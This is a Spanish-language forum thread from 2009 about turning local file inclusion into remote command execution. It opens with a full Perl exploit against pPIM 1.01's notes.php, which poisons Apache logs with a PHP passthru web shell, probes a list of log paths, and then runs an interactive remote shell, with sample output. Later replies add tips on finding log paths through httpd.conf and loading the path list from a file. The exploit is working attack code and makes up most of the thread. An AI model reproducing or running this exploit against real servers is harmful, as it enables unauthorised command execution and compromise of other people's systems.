Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'

Iniciado por JosS__!, 23 Febrero 2009, 22:13 PM

0 Miembros y 1 Visitante están viendo este tema.

JosS__!

Haces escasas horas publiqué un exploit en milw0rm.com, el cual está basado en una técnica muy famosa que nos permite ejecutar comandos mediante LFI, es como un RCE a partir de un LFI.

Exploit:


#!/usr/bin/perl
####################################################################
# pPIM 1.01 (notes.php id) Remote Command Execution Exploit
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: Jose Luis Gongora Fernandez (a.k.a) JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# joss@h4x0rz:~/Desktop$


        use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;


@apache=(
        "../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

        print "#######################################################################\n";
        print "# pPIM 1.01 (notes.php id) Remote Command Execution Exploit | By JosS #\n";
        print "#######################################################################\n\n";


        if (!$ARGV[0])
           {
             print "Usage: perl exploit.pl [host]\n";
             print "       perl exploit.pl localhost\n\n";
        exit;}

$host=$ARGV[0];
        $path="/notes.php?mode=edit&id="; # change if it is necesary

# if ( $host   =~   /^http:/ ) {$host =~ s/http:\/\///g;}

print "\nTrying to Inject the Code...\n";
$CODE="<? passthru(\$_GET[cmd]) ?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /images/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

if ( $host   !~   /^http:/ ) {$host = "http://" . $host;}

foreach $getlog(@apache)
                {
                  chomp($getlog);         
  $find= $host.$path.$getlog; # $find= $host.$path.$getlog."%00";
                  $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
  $req = HTTP::Request->new(GET => $find);
  $res = $xpl->request($req);
  $info = $res->content;
                  if($info =~ /\#\#\%\$\$\%\#\#/) # change if it is necesary
                  {print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
                }

print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );

while($cmd !~ "exit") {   
$shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."%00&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );
}

         
        # __h0__


Mirror: http://milw0rm.com/exploits/8093

Propósito del TOPIC: La principal razón de este topic es para que la gente aprenda a implementar en sus propios exploits la forma de hacer un RCE mediante LFI, además estaré aquí para cualquier duda que se prensete.

Un saludo.

Azielito

Yo hace tiempo tube un problemilla al cargar los logs de apache bajo free BSD, habra la posibilidad de cargar un archivo de ubicación de logs en el script?

(creo que tengo que aprender perl ¬¬)

JosS__!

a que te refieres con 'cargar'?, explícate un poco mejor a ver si te puedo ayudar.

Un saludo.

WHK

Hola, creo entender que te refieres a poder hacer ina inclusión al archivo de logs pero en el caso de que bsd no tenga por defecto el mismo directorio de logs puedes sacarlo atraves del httpd.conf..

Citarecho nl2br(htmlspecialchars(LFI_GET('../../../../../etc/httpd/conf/httpd.conf%00'), ENT_QUOTES));
(es solo un ejemplo)

Con esto ya podrás ver la libnea donde se aloja el directorio de logs:
CitarCustomLog "c:/wamp/logs/access.log" common
Este es mi caso porque uso un wamp pero en linux debería aparecer la ruta exacta de logs.

PD: JosS__! muchas gracias por tu aporte, de seguro le podrá servir a muchos.

Azielito

me refiero a ahcer algo asi

Código (php) [Seleccionar]
$logs = file("logs.txt");
$lineas = count($logs);
for($i=0; $i < $lineas; $i++){
       echo $logs[$i];
}


pero en perl, o sea, en ese archivo "logs.txt" tenemos todas las rutas posibles en diferentes sistemas y vamos leyendo linea a linea para comprarar esa cadena (la ubicacion del archivo log) :D

o sea, algo asi como "leer de una base de datos la ubicacion de logs" usando un archivo de texto :D

p

JosS__!

por supuesto que se puede ... pero tienes algún problema con eso? o solo preguntabas si se podía?

saludos

Azielito

Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')

WHK

Cita de: Azielito en 25 Febrero 2009, 01:20 AM
Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')

Azielito si todos nacieramos sabiendo no creo que todavía estubieramos viviendo dependizados del petroleo.

Código (perl) [Seleccionar]
#!/usr/local/perl
open(manejador, 'auditorias.txt'); # abre los links
$cantidad = 0;
while(<manejador>){ # while por cada linea hasta que sea null (haya terminado)
$cantidad++;
chomp; # Termina la cadena
apache[$cantidad] = $_;
}


Con esto puedes reemplazar el array de @apache para que cada linea del texto se transforme en un array.

De esta misma forma hasta puedes separar por funciones y hacer escaneos para LFI, RFI, SQLI etc anteponiendo un id al comienzo de cada ruta como por ejemplo LFI:RUTA y con split separas lo que vas a auditar con la ruta y vas testeando y enviando los datos a la función correspondiente.

Azielito

wow '_'

al final es muuuuuuy similar a PHP :xD

ahora mismo lo pruebo :D gracias





eso de hacer escaneos para LFI, RFI, SQLi no se me habia ocurrido, asi con un solo script sabras todo >.<

ahora me pongo a estudiar perl :')

Novlucker

Agrega python  :P , que se está dando a conocer y muchos exploits y tools están apareciendo en ese lenguaje, perl lo aprendí por lo mismo  ;D

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein